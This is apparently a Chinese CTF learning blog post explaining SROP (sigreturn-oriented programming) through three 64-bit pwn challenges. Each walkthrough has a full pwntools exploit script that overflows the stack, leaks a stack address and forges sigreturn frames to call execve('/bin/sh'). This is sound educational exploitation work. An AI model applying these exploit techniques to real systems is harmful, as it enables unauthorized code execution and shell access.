• SROP例题


      具体攻击原理可以参考安全客这篇文章:入口

      刚学了一点,也是懵懵懂懂的,拿几道题来练练手。

    ciscn_2019_es_7

      64位程序,只开启了NX保护。

      相当于执行了read(0,buf,0x400),write(1,buf,0x30),在执行read的时候可以进行溢出。题目中还有一个函数叫做gadgets,里面提供了一些gadgaets供我们使用。

      15是调用sigreturn,59是调用execve。调用execve需要让几个寄存器满足条件,rdi=="/bin/sh",rsi==NULL,rdx==NULL,这里就需要我们手动输入"/bin/sh"字符串,并且要知道字符串的地址,所以就需要leak一个栈地址。

      step1:通过read,payload = '/bin/shx00'*2+p64(0x04004f1),将payload打过去,此时会leak一个栈地址。动调一下,算一下我们输入的'/bin/sh'和leak的栈地址的距离。

      这里我只输入了一个binsh,下面的箭头是我们leak的stack地址,上面是binsh的地址。相差0x118,所以将leak的stack地址减去0x118,里面存的就是binsh字符串了。

      step2:可以看到第一步的时候,返回地址我们设置成了0x04004f1

      目的是可以继续写入,少了push等操作,这样对栈不会有影响。此时又是一个输入,这个时候就用到srop了。

    1 sigframe = SigreturnFrame()
    2 sigframe.rax = constants.SYS_execve
    3 sigframe.rdi = stack
    4 sigframe.rsi = 0x0
    5 sigframe.rdx = 0x0
    6 sigframe.rip = syscall_ret
    7 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)

      'a'*0x10是用来充栈的,这0x10个a其实是写入0x8,0x0的位置了。此时的堆栈图:

      mov rax 15 ret就是返回地址,先给rax赋值为15,然后syscall调用sigreturn来进行攻击。将rdi指向binsh字符串,rsi==NULL,rdx==NULL,最后需要将rip指向syscall_ret,就成功调用了。

      这里其实是可以构造srop链的,多次调用sigreturn,只需要将rsp==栈地址,在栈上继续布置srop,就可以达到重复调用。而此题就不需要了,已经可以拿到shell了。

      exp:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 context(os='linux',arch='amd64',log_level='debug')
     6 
     7 syscall_ret = 0x0400501
     8 mov_rax_15 = 0x04004DA
     9 fun = 0x04004f1
    10 
    11 p.send('/bin/shx00'*2+p64(0x04004f1))
    12 p.recv(0x20)
    13 stack = u64(p.recv(8))-0x118
    14 print 'stack-->'+hex(stack)
    15 
    16 sigframe = SigreturnFrame()
    17 sigframe.rax = constants.SYS_execve
    18 sigframe.rdi = stack
    19 sigframe.rsi = 0x0
    20 sigframe.rdx = 0x0
    21 sigframe.rip = syscall_ret
    22 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)
    23 
    24 p.send(payload)
    25 p.recv()
    26 p.interactive()

      值得注意的是,在第五行需要设置了环境是64位,不然sigframe = SigreturnFrame()会报错。

    360chunqiu2017_smallest

      64位程序,只开启了NX保护,程序相当简单。

      还是通过系统调用,执行了read(0,buf,0x400),这里有一个小知识,就是程序在调用call之后的返回值一般是保存在rax中的,所以我们可以通过执行read之后的读入的字符长度,来控制rax的值,实现任意函数的系统调用。

      step1:先将payload = p64(start)*3打过去,此时的栈分布:

      step2:接下来,payload = 'xB3',read一个字节,就会修改-0x08处的值,修改成0x004000B3。程序会返回到0x004000B3开始执行。

      这样就跳过了xor rax rax,并且此时的rax==1,这样执行syscall,其实是在执行write(1,buf,0x400),目的还是为了leak一个stack地址,方面进行写入binsh字符串。

      step3:接下来又回到了start,也就是-0x10处的0x004000B0。

    1 sigframe = SigreturnFrame()
    2 sigframe.rax = constants.SYS_read
    3 sigframe.rdi = 0
    4 sigframe.rsi = stack
    5 sigframe.rdx = 0x400
    6 sigframe.rsp = stack
    7 sigframe.rip = syscall_ret
    8 payload = p64(start_addr)+'a'*0x8+str(sigframe)

      看一下此时的堆栈图:

      这里的aaaaaaaa其实是在给下一次跳转留跳板的位置,还有一个原因是,我们要修改rax的值为15,调用sigreturn函数。

      step4:payload = p64(syscall_ret)+'b'*7,这个时候的堆栈图:

      这里会执行syscall_ret,对应上面的sigframe,会执行read(0,stack,0x400),并且返回地址会跳到stack。我感觉我堆栈图画的其实是不够严谨的,sigframe其实并不只占0x8,相反,会占很大一块区域,这里读入的时候,其实会有一部分覆盖掉其中的内容,只要覆盖不到关键的寄存器就行。

      step5:payload = p64(start_addr)+'b'*8+str(sigframe)

    1 sigframe = SigreturnFrame()
    2 sigframe.rax = constants.SYS_execve
    3 sigframe.rdi = stack+0x300
    4 sigframe.rsi = 0x0
    5 sigframe.rdx = 0x0
    6 sigframe.rip = syscall_ret
    7 payload = p64(start_addr)+'b'*8+str(sigframe)
    8 payload = payload+(0x300-len(payload))*'x00'+'/bin/shx00'

      此时的堆栈图:

      step6:有一个start,payload = p64(syscall_ret)+'b'*7,读入数据。我感觉我堆栈图画的其实是不够严谨的,sigframe其实并不只占0x8,相反,会占很大一块区域,这里读入的时候,其实会有一部分覆盖掉其中的内容,只要覆盖不到关键的寄存器就行。

      第六步就是把bbbbbbbb覆盖成syscall_ret,因为读入了15个字符,rax是15,会调用sigreturn,rip又指向syscall_ret,就能够拿到shell了。

    exp:

     1 from pwn import *
     2 
     3 p = process('./smallest')
     4 elf = ELF('./smallest')
     5 context(os='linux',arch='amd64',log_level='debug')
     6 
     7 syscall_ret = 0x004000BE
     8 start_addr = 0x004000B0
     9 
    10 payload = p64(start_addr)*3
    11 p.send(payload)
    12 
    13 p.send('xb3')
    14 stack = u64(p.recv()[8:16])
    15 #print 'stack-->'+hex(stack)
    16 
    17 sigframe = SigreturnFrame()
    18 sigframe.rax = constants.SYS_read
    19 sigframe.rdi = 0
    20 sigframe.rsi = stack
    21 sigframe.rdx = 0x400
    22 sigframe.rsp = stack
    23 sigframe.rip = syscall_ret
    24 payload = p64(start_addr)+'a'*0x8+str(sigframe)
    25 p.send(payload)
    26 
    27 sigreturn = p64(syscall_ret)+'b'*7
    28 p.send(sigreturn)
    29 
    30 sigframe = SigreturnFrame()
    31 sigframe.rax = constants.SYS_execve
    32 sigframe.rdi = stack+0x300
    33 sigframe.rsi = 0x0
    34 sigframe.rdx = 0x0
    35 sigframe.rip = syscall_ret
    36 payload = p64(start_addr)+'b'*8+str(sigframe)
    37 payload = payload+(0x300-len(payload))*'x00'+'/bin/shx00'
    38 p.send(payload)
    39 p.send(sigreturn)
    40 p.interactive()

      本地可以打,buu远程打不通,不知道为啥。

    rootersctf_2019_srop

      再来一道,64位程序,还是只开启了NX保护。

      程序先write输出了一句话,然后是一个read(0,buf,0x400),可以进行溢出。

      在0x00401032处有pop rax,然后就会执行syscall,我们可以控制这里,让rax==15,执行sigreturn,进行srop攻击。

      step1:将栈迁移到data段

    1 sigframe = SigreturnFrame()
    2 sigframe.rax = constants.SYS_read
    3 sigframe.rdi = 0
    4 sigframe.rsi = buf
    5 sigframe.rdx = 0x400
    6 sigframe.rbp = buf
    7 sigframe.rip = syscall
    8 payload = 'a'*0x80+'bbbbbbbb'+p64(0x00401032)+p64(15)+str(sigframe)

      返回地址覆盖成pop rax,然后执行syscall,leave ret。

      可以看到上面的sigframe我把rbp设置到了buf

      执行leave的时候就相当于执行mov rsp,rbp ,pop rbp。

      step2:往buf进行写入

    1 sigframe = SigreturnFrame()
    2 sigframe.rax = constants.SYS_execve
    3 sigframe.rdi = buf+0x300
    4 sigframe.rsi = 0
    5 sigframe.rdx = 0
    6 sigframe.rip = syscall
    7 payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
    8 payload = payload+(0x300-len(payload))*'x00'+'/bin/shx00'

      这里往buf进行写入,其实就是简单的srop了。将各个寄存器的值设置好,同时写入binsh字符串执行就可以了。贴一下全部的exp:

    from pwn import *
    
    p = process('./pwn')
    elf = ELF('./pwn')
    context(os='linux',arch='amd64',log_level='debug')
    
    vuln = 0x00401000
    fun = 0x00401032
    buf = 0x0402000
    syscall = 0x0401033
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0
    sigframe.rsi = buf
    sigframe.rdx = 0x400
    sigframe.rbp = buf
    sigframe.rip = syscall
    payload = 'a'*0x80+'bbbbbbbb'+p64(fun)+p64(15)+str(sigframe)
    p.sendafter('CTF?
    ',payload)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = buf+0x300
    sigframe.rsi = 0
    sigframe.rdx = 0
    sigframe.rip = syscall
    payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
    payload = payload+(0x300-len(payload))*'x00'+'/bin/shx00'
    p.send(payload)
    p.interactive()

      三道题做下来,目前对srop就有了一个整体的认识了,不得不说,看师傅们的exp是构造的真的很巧妙,有时候会让人大呼,竟然还可以这样!

  • 相关阅读:
    jquery实现表格文本框淡入更改值后淡出
    硬件抽象层
    第八章读书笔记
    Linux驱动——LED闪烁
    编写Linux驱动与统计单词个数
    在开发板上安装Android
    源代码的下载和编译
    初学Git随笔
    Ubuntu Linux环境下的Android开发环境的配置
    Android系统移植于驱动开发概述
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14281505.html
Copyright © 2020-2023  润新知